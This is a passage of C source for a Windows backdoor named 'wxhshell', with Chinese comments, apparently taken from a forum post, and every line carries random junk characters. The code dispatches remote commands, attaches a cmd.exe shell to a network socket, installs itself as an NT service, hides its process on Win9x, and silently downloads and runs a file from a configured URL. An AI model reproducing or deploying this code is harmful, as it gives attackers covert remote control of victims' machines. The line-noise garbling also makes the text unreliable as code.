  case '?': { ZDHm@,d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \F`%vZrKR  
    break; \NE~k)`4j%  
  } u-v/`F2wN  
  // 安装 A HnXN%m  
  case 'i': { ]w7wwU^^*U  
    if(Install()) pC=kvve  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6uXik  
    else jVA|Vi_2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BO5\rRa0  
    break; Ife/:v  
    } h = <x%sie  
  // 卸载 F3)w('h9c  
  case 'r': { .W;,~.l  
    if(Uninstall()) L !/Zw~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`Uil=  
    else V{qpha4'P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2%!yV~Z  
    break; =r1-M.*a.M  
    } 3^!Y9$y1  
  // 显示 wxhshell 所在路径 5?] Dn k.o  
  case 'p': { x-E@[=  
    char svExeFile[MAX_PATH]; ' ozu4y  
    strcpy(svExeFile,"\n\r"); _!qi`A  
      strcat(svExeFile,ExeFile); (:|g"8mQm  
        send(wsh,svExeFile,strlen(svExeFile),0); Sbzx7 *X  
    break; zE,1zBS<  
    } ;T-`~  
  // 重启 "`6pF8k  
  case 'b': { zG^|W8um_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h#:_GNuF  
    if(Boot(REBOOT)) a_z1S Z2[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E 0A`  
    else { |BA&ixHe~C  
    closesocket(wsh); lGhhH _  
    ExitThread(0); jjJvyZi~J  
    } 4tA`,}ywPq  
    break; 8x~'fzf;Sq  
    } 6<t<hP_3O  
  // 关机 'QOV!D  
  case 'd': { i;l0)q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RKb{QAK!v  
    if(Boot(SHUTDOWN)) qu`F,OG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?B{,%2+  
    else { Tebu?bj  
    closesocket(wsh); ]39])ul  
    ExitThread(0); tNf_,]u  
    } nvInq2T 1  
    break; )u?^w  
    } boeIO\2}P0  
  // 获取shell $z,rN\[  
  case 's': { WF_24Mw  
    CmdShell(wsh); qZ<|A%WQ  
    closesocket(wsh); 4(mRLr%l@`  
    ExitThread(0); VJbn/5+P  
    break; F 9J9zs*,  
  } [M#I Nm}  
  // 退出 M <K}H8?  
  case 'x': { =`EVg>+^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &Db'}Y?x]  
    CloseIt(wsh); GhC%32F  
    break; p?,T%G+gqO  
    } M?v`C>j  
  // 离开 cnL@j_mb  
  case 'q': { z^Y4:^L~I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F7&Oc)f"B  
    closesocket(wsh); 4c,{Js  
    WSACleanup(); %df[8eX{  
    exit(1); 8,&pX ga  
    break; RD6`b_]o  
        } `ZPV.u/  
  } F3=iyiz6  
  } Ou5,7Ne  
9RQw6rL  
  // 提示信息 !glGW[r/7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :^J'_  
} >U6 2vX"  
  } iX6'3\Q3A  
\w=*:Z  
  return; AkX8v66:  
} ~PA6e+gmL  
QN8.FiiD  
// shell模块句柄 ZJ'FZ8Sx  
int CmdShell(SOCKET sock) nA.~}  
{ +<7a$/L?4  
STARTUPINFO si; KF f6um  
ZeroMemory(&si,sizeof(si)); j9 O"!9$vQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Aoo\fN_U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [' cq  
PROCESS_INFORMATION ProcessInfo; c n^z=?  
char cmdline[]="cmd"; GU]_Z!3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } !1pA5x$  
  return 0; /u pDbP.O  
} |YK4V(5x  
11BfJvs:  
// 自身启动模式 F:cenIaBF  
int StartFromService(void) ^<v]x; 3  
{ =Y<RG"]a&J  
typedef struct 8BggK6X  
{ xYD.j~  
  DWORD ExitStatus; M|\C@,F]8  
  DWORD PebBaseAddress; $ v~I n  
  DWORD AffinityMask; tN&_f==e  
  DWORD BasePriority; #_4JTGJ  
  ULONG UniqueProcessId; lArDOFl]x  
  ULONG InheritedFromUniqueProcessId; @1tv/W  
}   PROCESS_BASIC_INFORMATION; /+{1;}AT  
&46 Ro|XE`  
PROCNTQSIP NtQueryInformationProcess; JB(P-Y#yyA  
.h@HAnmE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "&N1$$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K0z@gWGE  
Q0-}!5`E1$  
  HANDLE             hProcess; )@\m0bnF  
  PROCESS_BASIC_INFORMATION pbi; :Tn1]a)f6  
XdGA8%^cY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oK{H <79  
  if(NULL == hInst ) return 0; E@D}Sqt  
z!/ MBM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M`gr*p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Q5 c'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u<a =TPAU  
*u?N{LkqS  
  if (!NtQueryInformationProcess) return 0; G,JK$j>*l  
z9IJ%= R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E1V;eoK.D  
  if(!hProcess) return 0; n 2m!a0;  
Fmux#}Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #+ 6t|  
*m 9,_~t  
  CloseHandle(hProcess); P1Chmg  
z 8\;XR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L !V6 Rfy  
if(hProcess==NULL) return 0; Q ^z&;%q1  
s5SKQ#,@P  
HMODULE hMod; 7d"gRM;  
char procName[255]; ';OZP2  
unsigned long cbNeeded; +7|Qd}\X  
%?~`'vYoi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T{Rhn V1  
N0 F|r8xS  
  CloseHandle(hProcess); I]OVzM  
Nq=r404  
if(strstr(procName,"services")) return 1; // 以服务启动 1xF<c<  
/vG)n9Rc  
  return 0; // 注册表启动 4_B1qN  
} T($6L7 j9  
5\|u] ~b  
// 主模块 P-~kxb9aa  
int StartWxhshell(LPSTR lpCmdLine) MEZc/Ru-[  
{ jQLiqi`  
  SOCKET wsl;  }FoO  
BOOL val=TRUE; F"*.Qq  
  int port=0; l{b*YUsz>  
  struct sockaddr_in door; _Bhm\|t  
[J71aH  
  if(wscfg.ws_autoins) Install(); IU*w 'a  
$pO gFA1'  
port=atoi(lpCmdLine); uh_ 2yw_  
"/MA.zEl0,  
if(port<=0) port=wscfg.ws_port; "2~%-;c  
S66. .sa  
  WSADATA data; !<P|:Oo*Dl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L[s8`0  
39+6ZTqx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ca{u"n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "o ^cv  
  door.sin_family = AF_INET; hL8GW> `a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hn@T ]k  
  door.sin_port = htons(port); jQc.@^#+x  
&bO5+[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5sc`L  
closesocket(wsl); 9gLUM$Kd  
return 1; e<;^P(g`E  
} ub* j&L=  
\ &S-lsLY  
  if(listen(wsl,2) == INVALID_SOCKET) { Pfv| K;3i  
closesocket(wsl); =oPc\VYW  
return 1; f;w7YO+$p9  
} =/b WS,=  
  Wxhshell(wsl); l1h;ng6  
  WSACleanup(); Fu%%:3_  
t'{\S_  
return 0; -!kfwJg8N(  
T .57Okp  
} AUk,sCxd  
!k= ~5)x  
// 以NT服务方式启动 !7KSNwGu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B)bq@jM  
{ SX4"HadV>  
DWORD   status = 0; PU6Sa-fQ2,  
  DWORD   specificError = 0xfffffff; y[W<vb+F  
OZ /!= ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DD4fV`:kG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u6,NQ^4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RKY~[IQ,  
  serviceStatus.dwWin32ExitCode     = 0; EAgNu?L  
  serviceStatus.dwServiceSpecificExitCode = 0; ;B'5B]A3  
  serviceStatus.dwCheckPoint       = 0; yz CQ  
  serviceStatus.dwWaitHint       = 0; z  DP  
soH M5<U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @"\j]ZEnY  
  if (hServiceStatusHandle==0) return; i"h '^6M1  
aa'u5<<W  
status = GetLastError(); F>0[v|LG  
  if (status!=NO_ERROR) \GR M,c  
{ wQ4IQ!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !&3iZQGWv  
    serviceStatus.dwCheckPoint       = 0; "K"]/3`k-  
    serviceStatus.dwWaitHint       = 0; /%#LA  
    serviceStatus.dwWin32ExitCode     = status; T.fmEl  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q UQ"2oC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !F|mCEU  
    return; 2 f" =f^rf  
  } M%3 \]&  
lE8M.ho\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AF=9KWqf  
  serviceStatus.dwCheckPoint       = 0; wz,T7L  
  serviceStatus.dwWaitHint       = 0; AX Y.80+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `ehZ(H}  
} ^k'?e"[gTs  
5,>Of~YN  
// 处理NT服务事件,比如:启动、停止 =?*6lS}gy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5kK:1hH7  
{ `sS\8~A  
switch(fdwControl) ii.L]#3y  
{ yU-^w^4  
case SERVICE_CONTROL_STOP: =aWj+ggd@  
  serviceStatus.dwWin32ExitCode = 0; Qg7rkRia  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4>uy+"8PO  
  serviceStatus.dwCheckPoint   = 0; BVKr 2v  
  serviceStatus.dwWaitHint     = 0; .%.kEJh`  
  { 6z/ct|n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dF d^@b  
  } fQ\nK H~  
  return; r((2.,\Z  
case SERVICE_CONTROL_PAUSE: 9>t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aUdbN&G  
  break; re\@v8w~  
case SERVICE_CONTROL_CONTINUE: 'f#i@$|]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yj^LX2x"  
  break; YF+hN\  
case SERVICE_CONTROL_INTERROGATE: hPC t-  
  break; *^BW[C/CTR  
}; qk;vn}auD]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Quc,,#u  
} v^Eg ,&(  
b7 pD#v  
// 标准应用程序主函数 m=^`u:=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |H:JwxH  
{ r/X4Hy0!lT  
DFgr,~  
// 获取操作系统版本 jV(\]g"/=  
OsIsNt=GetOsVer(); 4G:I VK9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _RLx;Tn)L  
}(g`l)OX  
  // 从命令行安装 `EV" /&`  
  if(strpbrk(lpCmdLine,"iI")) Install(); C~do*rnM^  
]L'FYOfrpx  
  // 下载执行文件 "(@W^qF}d  
if(wscfg.ws_downexe) { ]!u12^A{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }PZz(Ms  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?[$=5?  
} 2?",2x09  
k,EI+lCX  
if(!OsIsNt) { %+WIv+ <  
// 如果时win9x,隐藏进程并且设置为注册表启动 45Z"U<I,9  
HideProc(); *cjH]MQ0Ak  
StartWxhshell(lpCmdLine); L{v^:  
} 4_CV.?  
else )+^1QL  
  if(StartFromService()) pUvbIbg+  
  // 以服务方式启动 2<d l23  
  StartServiceCtrlDispatcher(DispatchTable); RwH<JaL:  
else -29 Sw  
  // 普通方式启动 U Ox$Xwp5&  
  StartWxhshell(lpCmdLine); o8!gV/oy  
CgLS2  
return 0; =1dU~B:Lm  
}
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只看该作者 1 发表于: 2006-10-10
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